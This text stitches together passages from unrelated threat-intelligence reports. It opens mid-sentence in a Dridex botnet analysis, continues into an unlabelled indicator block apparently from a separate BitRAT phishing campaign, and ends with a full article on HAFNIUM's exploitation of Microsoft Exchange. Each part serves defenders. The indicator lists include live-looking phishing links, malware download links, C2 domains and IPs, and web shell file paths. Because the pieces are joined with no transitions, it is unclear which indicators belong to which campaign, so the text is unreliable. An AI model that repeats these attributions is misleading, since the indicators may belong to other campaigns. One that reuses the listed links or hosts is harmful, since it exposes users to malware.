related. Besides the webinject data, the bots were also instructed to keylog data from the following applications: WinBacs, albacs, Albany.EFT.Corporate.Client, wpc, eSigner, StartStarMoney, StarMoney, acsagent, accrdsub, acevents, acCOMpkcs, ac.sharedstore, jp2launcher, cspregtool, RegTool, translink, deltaworks, dfsvc, multibit, ArmoryQt, QtBitcoinTrader, Cortex7, OEBMCC32, WUB, electrum, DexiaSoft, acCOMcsp, AccessPay, Suite, Entreprise, Enterprise, bitcoin, bitcoin-qt, Suite, Entreprise, Suite, Enterprise, argenie, argenie64, ARcltsrv, TokenManager, aetcrss1, csdrv32, sllauncher. One interesting fact was that Dridex not only collected information from banking sites but also from many other websites that are not directly included in the config files webinject settings. These included login credentials for corporate extranets, VPN, webmails and several online services. While running our fake node on the botnet we observed a total of 2069 unique domains whose information was stolen from user’s browsers transmitted to the C2. --- ## Stolen Information Our fake node was able to decrypt communications as they were being sent from the bots to the C2 Server. This allowed us to gain a better understanding of the type of information that was being harvested, and although there were banking credentials being stolen, a large part of it was not directly related to online banking. We observed mainly three types of submitted data: ### Keylogger Data This included data from a set of applications that were configured to be keylogged. Also because it included generic software such as jp2launcher.exe (the process for java applets), several chat applications and other applet based interfaces were being logged. ### Web Inject Data Web injects were able to extract specific HTTP submitted data from a large number of different domains. ### Screenshots Screenshots were also taken for a given set of applications. --- # Indicators of Compromise ## Analyzed Samples Some of the samples analyzed during our research, referenced by their SHA-256 hashes: ``` 00c571f017d487ebe781dcafc469fe6f872c563baccef48a48275a2f3f897bf8 03385cbccae28797e0f6b8c1f9b55e767dad487fb652162def9f8eb7a86b29a7 044b887de7fcbe126825a16174fe7dd9ef7753f313f4775ca489b92e54be5bf5 053f9ea7ad120ae759dd71a1da27cfd8e8cb44496e24e9f11a6ce132dab10294 05f5c678ee84532613dc60464eab3ce862f3999eb5dad96d2cb5f47254cffdcb 076da91896b0ee6269644a1ab0afa42de278c551bcf2b0933ed92d269b377dd7 0791f50d933a90b53b96be52d91aa35e12b31e57dc55e43e4e6131cb94c3bc1a 083aa942388416bb9688b1a0520ab15c910448c75b75d90a7b6f404f2e105a38 17f5e836f2a817bb0f977dbddfc58b03cb235e0fd27c4865de44fd37f249fb36 1c14399e361fd7d3c66d65c9a79d4896e03ce977bed4caf7e68b8741828b00e4 201f37cb8c33330b72f73b6a4b5a4699b01d7529f7a2e372dc2ff94e068c2241 2069ab8ed9245560ebb2219df37e4b740e6a0ed6931ed71fa31dd580cf0ed834 24aff09953c8301e82217137001b9ed45a84a3f3a04d6ce1a875d2d36eb275fb 252bfae5a124882c38c7727e25d3e637161bcc9e03f31b9922756f1868466d19 253e7b09431c1a9473008b49480cf702baa65eabd79c44d8d7be1560af6017de 288e528e15297b2ed1b7850650f9ac72e4fb7ba50412bfc3375af7a2fb092a7e 2d95c36352bc110f2c74d7ccc83a3003df0fbf2c62268f446ae4954852db8448 34fc383d51cbe08ab998e986e2cf1ee1535a3130bb0165e3b6fa94a67b0be0ec 38011cb19ccccad55d331ff725f208eb164fd7fa7418cd50a8ad2c026716112d 3a4322466c019d662b33b6e08db1c1e42dce08c80a5b8ffee402e14bb7af8584 3acdb80ecb3cb2dd9203691cd59bb9e0750e5d9eecb726e5de1b33cd29609993 3f8d6700ee02836dae168b6bda36dde73a43b77eedb722f766e6455204fa126d 3ff2a363fd9c3f63b519f3ee51f18cf4b395001bfa5a954ec47d9849e1b050d7 4120279ad7d80943896f8e6e15cf9ffc951e78e8f79ebf1d254473faceb8ccec 41d14fd287593204b179a90a9d0c83dc78ef2e6dcf90ffc087fbfbdfb3392f95 475295a3c2c8e19fa4a24ad66318957c4031d0ef4464ddf0b3665ec9ee23c10e 4fdd1e4ec1fe53c5ec347c1956367059a7318bcedea0e0969508923b186afcb8 52104187baa76905d8793861d0214f3c60124697c6c85d0bef27815310dc182b 53937c1c877f79f5ae1e5d3e7b2c177a6ba36ed1e222430177833cc47bfe524c 5ac0c18b4743626c3c49492cd7470c1b4060c553705bb49612a5d1b2be0c2fb5 5b35ccc23990f88b412e1b8abc04ba930abc0131a9a23bd43c27a85faf2304d1 5cb5ca44a45dcf5c03b26a4b3fbbf52937f78651d5cf51bba3732f17433916d8 5daa5dc22bacc1857ff2b17f2572b86de2cbbfbb83016fefb4352e7e497d68e9 5e1626e985ef11cae40587e715df23cf6ef048f11b2ce3405da899209beee05a 5e98a73e1a377d75a8363672adf3c3f490d0bc01d7a104e8fd28e3cdf6457e44 605e2d3f4c0789147e63885eedbf93a5c6ec381170fe00f14ff558c6d7973c83 608daddf175bdf12babc4df2bff093b9506c6cd87f800a1bb95cc0005e9f85e5 6287776f22b19e409efe6342900d31b499c1077cd36fd8a4d988e3bfe1710d49 637dcd114f945c7e25a649023e309f6b0165ba5a2d8e54395b426dad5526ce36 66cf9503474113671d048185899933f383ee96b48638b44d6a12796c974aa7cf 673e98d480871eece9374a35de386768c4318fb94e93be0da727e7fa0d5523bc 69140fdbfd44d30286c188ce3489ba43a606eec8b7803d664e3d054f259ca2f2 6b596c71af43f1433de928f454e132eefbb1a0e5ea42d41a629fef08d59247fd 6e67206bafe0cea4d7e2229d6014b8cc6824135eddffa6db243f527c93f58486 70c5b1ab923037b517236e9d7d901f56bbc9903b5fbe5cb49c94ac24f0146b88 78d84f8368b44692b74500f6071788170bc2fef27363586b6d569d745d1cf2a2 7907e5919d22fbd25b082cfd33dbb8c99d42fc1258767a4de178388b3eca9679 7bcb0abcfbea20ecfe31d8dd65146b8b1ffd0d81479d11dc329b2f99e263bd78 7f159c34b8d8e662405dd403df17a03f16a634b454677fb47e0ece7e277e2315 ```
``` SHA-256 DOCX attachments: 04921c9da44353474f609e37f73ed265b87e140d8a9fc126a78c257510c4d3cf 08bbaee89e0b10cf80b9046fdd816ddf05fad7476522ea2010ffb93d6fdf352b 18c9ffd4002ebbeac9ebbc7d0f3be82219b24782396f0d14e1a2882f4f12e9b5 26bc1a6915f6efbc3283fe6aa7254d251bc0e67be37aa64a91d2235f9466cb08 2bcd83ad0c3e7c3fd16231bf10a73bd546783442f5fd7ba8889f3b405e647997 566c87694432c13d2bb2742c65a6c45b5e69abfcbb1985726175f6a8f3656119 5a5e99b45e2addbdead809e8581e08ea77cb4c6ffa0de7efa3f37c5e4da33055 8d6391d71387999e5dd4f7cc6c9ab6ab869874d4151065326be6bccb05c3b203 9da0d9124565af63d097e20cbb1946fe39d0986aceea180680d35ec03033cdca 9f4c9dda304fd58054423451e240ac61e8ce597a39cfd882351b8cd556f91331 a1f614bd8ce64fe9b165b0919eadbc626b34c21a64655f29da426ed65d5d12ca a3dabca21d1b11071f6075269dae98942d9412d8914793d9a621007bafb9b52d c9bb768c709927fee739b229deaa11c3713c8db00b9d6583b352226c01f770f9 eaa172d3c2d41f31fde710a9fcecef69a575c3b28d320189169d4e3ecc519d0b efc7977c746ee61b576953513a0dc05fc9ae8e0490166bd03421121b60edce32 fd14da859c0f7fde6527db8c2b712737585a604f7606f961b4728a8c4701d329 PDF attachments: 021fb223e024f2e97a5bdde7ee0c669e581af3f7db63c2ec6db461178c1dfaa5 05184813ce52dd1d86d808e444e87f1e1ac6e0bf34460208b52852b963b86607 09c886ca2943a82bfdd9b86436747363467f019234f682b73827d8481dc08b03 13ad84b1c893f6b628c622b74bd1e300ff0b4a561ed4d5341c67cf5646a1a628 3019a38dc320ab563b3628f4c94363a2289d07d567bb72f15b1dd50b840ddefe 3f5aebcd4b96e70ce93a7e2de86559564850a9c425f7727ed480236e94b5893f 4ba7c0d32f870a1cea7ae630fc171a0f4c9b844a1f5f08bb322ee5e75713b93a 5c66a382f171162422ac869a48d2a2903a2c3a36280f4056da354b0706072f30 5f709b4c46af41aa77f59a486b95e6297d43c5e87984bf4cac7ffacff03bc4ec 63483c47375452defc26bc75fdae6f9e7054877a182dc9ab18eaa9921b910c9c 68ffe5e10f64256e4303a67d8174fae4e34b276626abca5a49268fb4a2ca1afa 6bf7e095fefd4540be63e3d630e45460be59eb9dfb2e97df2be60798b1796e58 6f3e81a2a2732b60736cf98ac192d48ac735c021ed4fc65e49a9f49bc2a21c4b 74ab680c1b6fd0daeb503c916258c22186e4f2c75325bf132c9c75bc3196b1c7 7790daa6919363d95e44145128c67d1002cd598746ae3daf7dc6d7dc781d5247 78c02913c8655b31c69c35d510ea9d925421964b56d225ae9e6704e5cd7b5e6d 81adb71ca743d1e8dfa2e56d9a049bf722276e129acd6c684d9d6c85dd02af89 96b279e1d8074821392b8f01c40981b7d4dc061eadad98305208000afba130ef a091503006e3ba89247ea55799771c0a43a61713bd167256571a3f6f44655939 a56cb0647d59967ea6b49e76f870a4d9b315ad9aa6b982d9bbad14bccd61df35 a7358bb72d70cb4e90011f26b15ede41af271e63fe584635d8b638ec6e7babda ab7719d622a3254ed7ea59f6ac88d472416bd31dbdc51066b6fcb4644406eb47 afe75789e1b12c98e308092b5dbc18b22fc2ea5db386015dd8f8f696bbc024fb b06c94d478de44a5e27322852b3b497edaec55c87821de6af4e19edd32fd1ec5 cbadf79a7756da6f000fab3b9dd9bf17f799d35a019174ad2921f23b93b51f17 d1cd2ff5ce6946bfe36812f787b4ce4e5d4c133a085ccbe981fd2f16e75032f3 Password-protected archives: 7733b09bd691b6f5aa252f915a2c5a5289ebf5c3fb341a16c07d9503ef4549c8 d010ef6540338c8e5744e0596ccd98c6590a2c3bd0a15905e351fdca9c6f6e23 9438c974f3cdefd5a097e55bde4734a2db9438be7c8012fa455d4d8bceb537ca 5cada311c0db4a8fe87a377b82f4ba9f686953ae98b59dd493d66da8927d9e68 BitRAT samples: ee0caa22a012291eeac477db95215c9859103f41ea892fd95f8364a78b9df36c 697e2cb3da8c3df2fcf7d92d3f81296ebb4aa2a49ab4255aa16ef26fe380f66d 001ac097275ba7e82313354f1360aaa288d6bb087d82e107c263586f9e97f9d0 01033e294faecb37e41c01525574ff033890eccc799175858049556e27e4b426 06944dc79f37f8d56bea41e2e3fd7c001d2e16d493285811e525f52440ef268a 098354b9740bacd7756dc73e145568d8527012031726443f2557c0a8d0831e1c 0d2397aa369dfc59c1b4f98d8b876505c88b2ff67f073f62722d59ce984da8d6 e8f5008f0ea7fd6fab40768c4a21e5c3318814c76c63c4a2b0754d3e452ed30d cac2de5f8b20ada5f437c8e322eadebfd078689cc7915a896e6b60e4c1c85efe 0dc0be119499ac64c45990a7bac7b923d79528e0bbc4e3b70a892ee993a92d12 c8cb859d7b0c9bca8eced811b8e75c32497828105fe5e084ba0745df1f55428b 041d1dd354482f103de39004f01ef955371fb56ebb4f6aa3022ac0dac142e384 102686a324821de192f3c84b58bde2f361095a4c23cf1fbe4ea7bf90cee03ae4 1440b2cef20cfbb1fa92a14e41967dd1e9feb8ae21e9523a72a79ac95efd9017 1b2738eba3c686f0a2961fc9ae23734d3575e90e90b5010c10d5b04df84f7ab1 1d3a424a8f8eeaff794c43d48c1cffd2be6ce57355ad6f7235e2890e9b835362 222bf96cb568ab55f0d482d9a1809de3604b0afad66195f740fb2c6c9d6af121 23d60876953677ed4627f3449661dc549c0f747adb4b082078dac90d60ae7706 23fdce6b83e4d7a19c95bb4bf0d37cff7cff3dc388d199317eb9176a214d32b7 25e3282504ff60fd03b2a30bb9be17a08fddfa071ce7249f3ac3c7d4fc7ffce1 286eeba27a7f7ee1caea16c8528d675b6e6a9bcab473cad323ad20c8849c4339 2e8c3a33ef61db164f994bfc1734d41db0b4eff833cb97b17f1ec58fd3f69823 2f6ef42f0d67f7785b9077ecf64403ef5f86dc85447d965a4516109f850fd903 33724c4104e9180d46aa01707bf2389637158c40223f778de1e894ae03e64544 3a3c032d71e9d97f17981bbef8e3d64fc0fe81f5fb8177f3f17dc2264ffd91c7 3ec948a979dfde44911ced4666cfc7f445ffecdab2f8c9c8ac71ef8f99fd4131 42628b413ead75bfc7bfa66523c2cd96ab1bfb2f01be66091821d8df0013ff83 44695a8503106b29067a702055ada74185c5072db375409f7cc8f36a64a7e4f3 46384028b4c21ce3ed937de84665be89cb78cad140c85a63806f7ebf0a23ce88 493141e2ee8109f97bd9c700bf9a1f2c79b1a6cdd089f95f16ca9974abcff80e 4b39d9d9a3733742ec2e76bfe107b5e43e2d041df1662def76a3857e906aeeca 4b63ab06439234347450346ba568d7d0daff8c8f31ea65160e39363a7c35504b 4d82e3c0921a972c4ff3fbc3827421f4a1d8f691d1de2ca6f92fbded0d1098e4 5adb53ca4445f20c2a26f896b636ad86b87ddff1aa85866a73a877f6ad1a51bc 5cada311c0db4a8fe87a377b82f4ba9f686953ae98b59dd493d66da8927d9e68 5d4c0ec76cc2237a6cdf7efc4503a87da8522a6fef2b9e0177d5ae7fd3907046 URL shortener links: https://gtly.to/Gvz7GFPuV https://gtly.to/EGSfPP4te https://gtly.to/vcJCg0gLW https://gtly.to/iQ8XN2pbH https://gtly.to/SMd2wKUny https://gtly.to/0Zqd4SKqb https://gtly.to/TeK73yYGi https://gtly.to/UhDKyt_6f https://gtly.to/p_BxLd91a https://gtly.to/oJTcuP0YS https://gtly.to/gNO3t_RPK https://gtly.to/OgCrntOaO https://gtly.to/Gvz7GFPuV https://gtly.to/UZC86d70T https://gtly.to/sSnuP-zlS https://acortaurl.com/httpswwwdiangovcodeudoresmora420dias https://acortaurl.com/httpswwwdiangovcoembargobancariopdf https://acortaurl.com/httpswwwdiangovcodetalleidembargo45543543534 https://acortaurl.com/httpswwwdiangovcomora180diasembargobancario https://acortaurl.com/httpswwwdiangovcohttpswwwdiangovcoembargodianid3090494902384324324 https://acortaurl.com/httpswwwdiangovcodeudapednientedian https://acortaurl.com/httpswwwdiangovcovalidateddeudamebargogo https://acortaurl.com/httpswwwdiangovcoembargodigitalvercontenido https://acortaurl.com/httpswwwdiangovcoembargodiacuentas https://acortaurl.com/httpswwwdiangovcoembargoacuentabancariaid093938484 https://acortaurl.com/httpswwwdiangovcodescargarembargobancarioid0093883 https://acortaurl.com/httpswwwdiangovcoembargobancarioid039394894894 https://acortaurl.com/httpswwwdiangovcoembargodeudoresmorososcgbin https://acortaurl.com/httpswwwdiangovconullrefrenciaembargo https://acortaurl.com/httpswwwdiangovcohttpswwwdiangovcohttpswwwdiangovco3 https://acortaurl.com/httpswwwdiangovcoPaginasCorreosFalsosaspxhttpswwwdiangovcoPaginasCorreosFalsosaspx3 https://acortaurl.com/httpssupportgooglecomwebsearchanswer175288hles-419httpssupportgooglecomwebsearchanswer175288hles-419 https://acortaurl.com/httpsphotosgooglecomu1albumshleshttpsphotosgooglecomu1albumshlesinit https://acortaurl.com/httpswwwgooglecomphotosabouthttpswwwgooglecomphotosabout https://acortaurl.com/httpsphotosgooglecomu1albumshlespli1httpsphotosgooglecomu1albumshlespli1 https://acortaurl.com/httpsphotosgooglecomu1albumshlespli12 https://acortaurl.com/httpswwwgooglecomphotosabouthttpswwwgooglecomphotosabout https://acortaurl.com/httpsdrivegooglecomdriveu0my-drivehttpsdrivegooglecomdriveu0my-drive https://acortaurl.com/httpsphotosgooglecomu1albumshlespli12fotos https://acortaurl.com/httpsdrivegooglecomdriveu0my-drivehttpsdrivegooglecomdriveu0my-drive https://acortaurl.com/httpsphotosgooglecomu1albumshlespli12fotos https://acortaurl.com/fotosadjuntaspixabaycomesphotosquotamp File storage links: https://download2280.mediafire.com/00hebtrqh6fg/1xi2q9mqq4hl2oc/imagen203652412jpg.zip https://www.mediafire.com/file/d0obpblj9v0e16m/pdfembargodiangovco.zip/file https://www.mediafire.com/file/il5e4ct6gww2wot/fotoadjuntajpg.zip/file C&C servers: jairoandresotalvarorend.linkpc[.]net publiquilla.linkpc[.]net ```
# Tactics, Techniques, and Procedures (TTPs) Used by HAFNIUM to Target Microsoft Exchange Servers ## Executive Summary Microsoft released four out-of-band security updates on March 2, 2021. The usual reason for releasing an out-of-band update is the appearance of active and widespread exploitation of a 0-day vulnerability. In this case, these updates address 0-day vulnerabilities affecting Microsoft Exchange Server products that allow threat actors to read sensitive information in emails, take control of the target server, collect and exfiltrate data from the compromised server, and move laterally to other systems in the network. The threat group that exploits Microsoft Exchange Server vulnerabilities is dubbed HAFNIUM by Microsoft, and the attack campaign is named Operation Exchange Marauder by Volexity. Although the HAFNIUM threat group primarily targets defense, higher education, and health sectors in the United States, these zero-days affect unpatched Microsoft Exchange Servers worldwide. For example, the European Banking Authority (EBA) has announced that it has been the subject of a cyber-attack against its Microsoft Exchange Servers. As another example, an incident due to these vulnerabilities is reported in Denmark. In this article, we analyzed Tactics, Techniques, and Procedures (TTPs) utilized by the HAFNIUM threat actor to understand their attack methods and the impact of this breach. We also give mitigation and detection suggestions and relevant IOCs for this cyber attack campaign. ## Key Findings - **Timeline**: The attack campaign was detected first in January 2021. Microsoft released updates on March 2, 2021, and Volexity and Microsoft published blog posts on the same day. The European Banking Authority (EBA) announced the breach on March 7, 2021. - **Prevalence**: The attack campaign has the potential to affect thousands of public and private organizations. - **Attack Lifecycle**: Attack starts with reconnaissance of vulnerable Exchange servers and resumes with exploiting a vulnerability (CVE-2021-26855) to exploit other vulnerabilities (CVE-2021-26857, CVE-2021-26858, CVE-2021-27065). Then, the adversary uploads web shells using these vulnerabilities and executes malicious commands with uploaded web shells. In the post-exploitation phase, the adversary collects and exfiltrates data, dumps credentials, and moves laterally. - **Impact**: Threat actors read sensitive information in mailboxes of users, compromise the victim server, dump local credentials, add user accounts, dump Active Directory database (NTDS.DIT), and move laterally to other systems in the network. - **Exploitability**: Exploits are available, and all of the vulnerabilities are being exploited by adversaries. Exploits can be run remotely and do not require authentication. - **Priority**: Security teams must treat them with the highest priority. - **Affected Versions**: Microsoft Exchange 2019, 2016, 2013, 2010. - **Mitigation**: Microsoft Exchange Servers must be patched as soon as possible. - **Interim Mitigations**: If you are unable to patch Exchange servers, implement IIS rewrite rules provided by Microsoft and disable UM, ECP, VDir, and OAB VDir Services. - **Detection**: Scan Exchange server logs and paths for released IOCs. You can use Sigma/QRadar/Splunk/Arcsight detection rules released by Picus. ## Vulnerabilities and Affected Exchange Servers ### The Exploited Zero-Day Vulnerabilities and Their Impacts Currently, the following vulnerabilities are exploited by adversaries: | CVE | Impact | Vulnerability Type | CVSS 3.0 Base Score | |-------------------|-----------------------------------------------------|-------------------------------|---------------------| | CVE-2021-26855 | Gain access to mailboxes, read the full contents. | SSRF (Server-Side Request Forgery) | 9.1 Critical | | CVE-2021-26857 | Arbitrary code execution as SYSTEM user, compromise the system | Insecure Deserialization | 7.8 High | | CVE-2021-26858 | Arbitrary code execution, compromise the system | Post-Authentication Arbitrary File Write | 7.8 High | | CVE-2021-27065 | Arbitrary code execution, compromise the system | Post-Authentication Arbitrary File Write | 7.8 High | Although CVSS 3.0 score of the CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 vulnerabilities is “7.8 High”, not “Critical”, when chained with the vulnerability CVE-2021-26855, these vulnerabilities enable the attacker to compromise the target Exchange server. ### Affected Microsoft Exchange Server Versions | Version | Status | Mitigation | |------------------|------------------------------------------|-------------------------------------| | Exchange 2019 | Affected (all CVEs) | Immediately deploy the updates. | | Exchange 2016 | Affected (all CVEs) | Immediately deploy the updates. | | Exchange 2013 | Affected (all CVEs) | Immediately deploy the updates. | | Exchange 2010 | Affected (CVE-2021-26857) | Immediately deploy the updates. | | Exchange 2007 | Unknown, stated as "not believed to be affected" by Microsoft. | Upgrade to a supported version. | | Exchange 2003 | Unknown, stated as "not believed to be affected" by Microsoft. | Upgrade to a supported version. | | Exchange Online / Office 365 | Not Affected | | ## Tactics, Techniques, and Procedures (TTPs) utilized by HAFNIUM HAFNIUM uses 11 of 14 tactics in the MITRE ATT&CK framework. You can create an adversary emulation plan using techniques and sub-techniques given below to validate your security controls against the HAFNIUM threat group. Picus Threat database includes an APT adversary emulation scenario for HAFNIUM along with 700+ other attack scenarios and 10,000+ network and endpoint attack emulations. ### 1. Reconnaissance The Reconnaissance tactic of the MITRE ATT&CK framework includes techniques involving adversaries to collect information actively and passively before compromising a victim. Attackers use this information to use in other phases of the attack lifecycle, such as Initial Access as used by HAFNIUM. #### 1.1 Gather Victim Host Information: Software The HAFNIUM threat actor determines whether an Exchange server is running on the machine, and if so, which version is running. Adversaries collect information about installed software on a victim machine, which may be used for targeting. ### 2. Resource Development The Resource Development tactic includes techniques involving adversaries to create, purchase, or compromise resources such as infrastructure, accounts, or capabilities. They develop these resources before compromising the victim and leverage them to utilize in other phases, such as using leased Virtual Private Servers to support Command and Control. #### 2.1 Acquire Infrastructure: Virtual Private Server HAFNIUM uses leased Virtual Private Servers (VPSs) in the United States to operate its threat campaign. Adversaries rent VPSs to make it difficult to bind operations back to them physically. They are also enabled to swiftly provision, modify, and shut down their infrastructure through VPSs. #### 2.2 Obtain Capabilities: Tool Adversaries obtain tools in cyberattacks to support their operations. These tools can be free or commercial, open or closed source. The HAFNIUM threat group uses the following tools to help its post-compromise behaviors. | Tool | Description | |---------------------|-------------| | Procdump | A command-line utility that is a part of the Microsoft Sysinternals suite. It can be used to dump the memory of a process. | | Nishang | A collection of scripts and payloads using PowerShell for penetration testing and red teaming. It can be categorized as a PowerShell post-exploitation framework. | | PowerCat | An open-source PowerShell script that can read and write data across network connections like the famous Netcat tool. | | PsExec | A legitimate Microsoft tool that can execute commands and binaries on remote systems and download or upload a file over a network share. | | Covenant | An open-source Command and Control (C2) framework written in .NET. | | SIMPLESEESHARP | A simple ASPX web shell used by HAFNIUM to write additional files to disk. | | SPORTSBALL | A more extensive web shell used by HAFNIUM to upload files or execute commands on the system. | | China Chopper | A web shell that provides access back into the victim system and is used by several threat groups. | | ASPXSPY | A publicly available web shell used by several threat groups. | | 7-Zip | Used to compress data to be exfiltrated. | | Winrar | Used to compress data prior to exfiltration. | | Exchange Snap-ins | Used to export data in mailboxes. | ### 3. Initial Access The Initial Access tactic includes techniques used by attackers to gain an initial foothold within a network, such as exploiting vulnerabilities on public-facing web servers. #### 3.1 Exploit Public-Facing Application Adversaries exploit vulnerabilities in Internet-facing software, such as web servers, to gain access to the host. HAFNIUM exploits CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 vulnerabilities in the Internet-facing and vulnerable Microsoft Exchange servers for initial access. ### 4. Execution #### 4.1 Command and Scripting Interpreter: Windows Command Shell Web shells used by the HAFNIUM threat group, such as China Chopper, allow adversaries to execute commands on the victim server using Windows Command Shell (cmd.exe). ### 5. Persistence The Persistence tactic consists of techniques used by adversaries to maintain their foothold across system restarts, changed credentials, or patched vulnerabilities. #### 5.1 Server Software Component: Web Shell Adversaries use web shells as backdoors to establish persistency on the target server. HAFNIUM utilizes the following web shells: SIMPLESEESHARP, SPORTSBALL, China Chopper, ASPXSPY. #### 5.2 Create Account: Domain Account Adversaries, such as HAFNIUM, add new domain accounts and grant privileges to these accounts to maintain access in the future. ### 6. Defense Evasion Defense evasion consists of techniques that are used by adversaries to avoid detection by security controls. #### 6.1 Masquerading: Match Legitimate Name or Location Adversaries may masquerade names/locations of their artifacts as identical or similar names/locations of legitimate files to evade monitoring and detection. HAFNIUM masquerades names of deployed web shells as identical or similar names of legitimate files. ### 7. Credential Access The Credential Access tactic includes techniques used by adversaries to steal account usernames and passwords. #### 7.1 OS Credential Dumping: LSASS Memory Adversaries interact with the lsass.exe process and dump its memory to obtain credentials. The HAFNIUM threat actor uses Procdump to dump the LSASS process memory and gather credentials. #### 7.2 OS Credential Dumping: NTDS HAFNIUM creates and steals copies of the NTDS.dit file using deployed web shells. The NTDS.dit file is the Active Directory Domain Services (AD DS) database that contains AD data, including information about user objects, groups, and group membership. ### 8. Lateral Movement The Lateral Movement tactic includes techniques that are used by adversaries to access and control remote systems on the target network. #### 8.1 Remote Services: SMB/Windows Admin Shares HAFNIUM uses PsExec to move laterally through the target environment. PsExec is a legitimate Windows SysInternals tool used by attackers to run commands on the remote system. ### 9. Collection The Collection tactic consists of techniques used by adversaries to gather the information that is relevant to their objectives. #### 9.1 Archive Collected Data: Archive via Utility Adversaries may use several utilities such as 7-Zip and WinRAR to compress or encrypt data before exfiltration. HAFNIUM uses WinRar and 7-Zip to compress data to be exfiltrated. #### 9.2 Email Collection: Remote Email Collection Adversaries may access external-facing Exchange services to access emails and collect sensitive information by leveraging valid accounts, access tokens, or remote exploits. HAFNIUM adds and uses Exchange PowerShell snap-ins to export data in mailboxes. ### 10. Command and Control The Command and Control (C2) tactic consists of techniques used by adversaries to communicate with compromised systems within a victim network. #### 10.1 Application Layer Protocol: Web Protocols The HAFNIUM threat group communicates with deployed web shells using application-layer web protocols (HTTP/HTTPS). ### 11. Exfiltration #### 11.1 Exfiltration Over Web Service: Exfiltration to Cloud Storage Adversaries may exfiltrate data to cloud storage that allows upload, modify and retrieve files. HAFNIUM exfiltrates collected data to cloud file sharing like MEGA.io. ## Countermeasures by Picus Built on technology alliances, Picus Mitigation Library delivers immediate value by providing mitigation insights in Network Security, Endpoint Detection and Response, and Security Information and Event Management categories. The Picus Threat Library includes most of the stolen tools in this breach, and the Picus Mitigation Library contains actionable mitigation recommendations and detection rules against them. ## Countermeasures with Open-source Sigma and Snort Rules Picus Labs Blue Team develops, tests, and verifies detection rules as SIGMA, a generic and open signature format for SIEM products, based on threats developed by Picus Labs Red Team. ### SIGMA Rules: - Process Dumping via Procdump - Remote Command Execution via Powercat - Suspicious ASPX File Creation - Suspicious PowerShell Invoke Expression Usage - TCP Connection Creating via PowerShell Script - Data Collection with 7z.exe via Commandline ### Snort Rules: | Signature Id | Signature Name | |-------------------|----------------| | 1.2017260.10 | ET WEB_SERVER WebShell Generic - ASP File Uploaded | | 1.57241.4 | SERVER-WEBAPP Microsoft Exchange Server server side request forgery attempt | | 1.57242.4 | SERVER-WEBAPP Microsoft Exchange Server server side request forgery attempt | | 1.57244.4 | SERVER-WEBAPP Microsoft Exchange Server server side request forgery attempt | ## Indicators of Compromise ### Targeted File Paths During authentication bypass, the threat actors send HTTP POST requests to image (.gif), JavaScript (.js), cascading style sheet (.css), and font (ttf, eot) files used by Outlook Web Access (OWA). | Folder | Files | |-------------------------------------------------|-------| | /owa/auth/Current/themes/resources/ | lgnbotl.gif, logon.css, owafont_ja.css, owafont_ko.css, SegoeUI-SemiBold.eot, SegoeUI-SemiLight.ttf | | /ecp/ | Default.flt, main.css, <single char>.js | ### User-agents Adversaries used the following “non-standard” user-agents in POST requests: - antSword/v2.1 - DuckDuckBot/1.0 - ExchangeServicesClient/0.0.0.0 - facebookexternalhit/1.1 - Googlebot/2.1 - Mozilla/5.0 (compatible; Baiduspider/2.0) - Mozilla/5.0 (compatible; Bingbot/2.0) - Mozilla/5.0 (compatible; Googlebot/2.1) - Mozilla/5.0 (compatible; Konqueror/3.5; Linux) - Mozilla/5.0 (compatible; Yahoo! Slurp) - Mozilla/5.0 (compatible; YandexBot/3.0) - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 - python-requests/2.19.1 - python-requests/2.25.1 ### Web Shells Adversaries upload web shells to the following paths. Search for any new or modified ASPX files in these folders and their subfolders. | Folder | Web Shell Files | |-----------------------------------------------------------------------------|------------------| | <exchange_install_path>\FrontEnd\HttpProxy\owa\auth\ | 8Lw7tAhF9i1pJnRo.aspx, a.aspx, authhead.aspx, bob.aspx, default.aspx, errorPage.aspx, errorPages.aspx, fatal-erro.aspx, log.aspx, logg.aspx, logout.aspx, one.aspx, one1.aspx, OutlookZH.aspx, shel.aspx, shel2.aspx, shel90.aspx. | | <exchange_install_path>\FrontEnd\HttpProxy\OAB | log.aspx | | \inetpub\wwwroot\aspnet_client\ | aspnet_client.aspx, aspnet_iisstart.aspx, aspnet_pages.aspx, aspnet_www.aspx, default1.aspx, discover.aspx, errorcheck.aspx, HttpProxy.aspx, iispage.aspx, OutlookEN.aspx, s.aspx, Server.aspx, session.aspx, shell.aspx, supp0rt.aspx, xclkmcfldfi948398430fdjkfdkj.aspx, xx.aspx | | \inetpub\wwwroot\aspnet_client\system_web\ | log.aspx | | <exchange_install_path>\FrontEnd\HttpProxy\ecp\auth\ | log.aspx | ### Command and Control IP Addresses Connected IP Addresses: - 103.77.192.219 - 104.140.114.110 - 104.250.191.110 - 108.61.246.56 - 149.28.14.163 - 157.230.221.198 - 167.99.168.251 - 185.250.151.72 - 192.81.208.169 - 203.160.69.66 - 211.56.98.146 - 5.254.43.18 - 80.92.205.81 ### SHA256 Hashes of Web Shells | SHA256 Hashes | |----------------| | 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1 | | b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0 | | 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea | | 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d | | 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5 | | 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e | | 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1 | ## References 1. MSRC Team, “Multiple Security Updates Released for Exchange Server – updated March 8, 2021.” 2. Microsoft Threat Intelligence Center (MSTIC), Microsoft 365 Defender Threat Intelligence Team, and Microsoft 365 Security, “HAFNIUM targeting Exchange Servers with 0-day exploits,” 02-Mar-2021. 3. “Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities.” 4. “Cyber-attack on the European Banking Authority - European Banking Authority,” 07-Mar-2021. 5. “Please leave an exploit after the beep.” 6. MSRC Team, “Microsoft Exchange Server Vulnerabilities Mitigations – updated March 6, 2021.” 7. “Security Update Guide - Microsoft Security Response Center.” 8. “Security Update Guide - Microsoft Security Response Center.” 9. “Security Update Guide - Microsoft Security Response Center.” 10. “Security Update Guide - Microsoft Security Response Center.” 11. 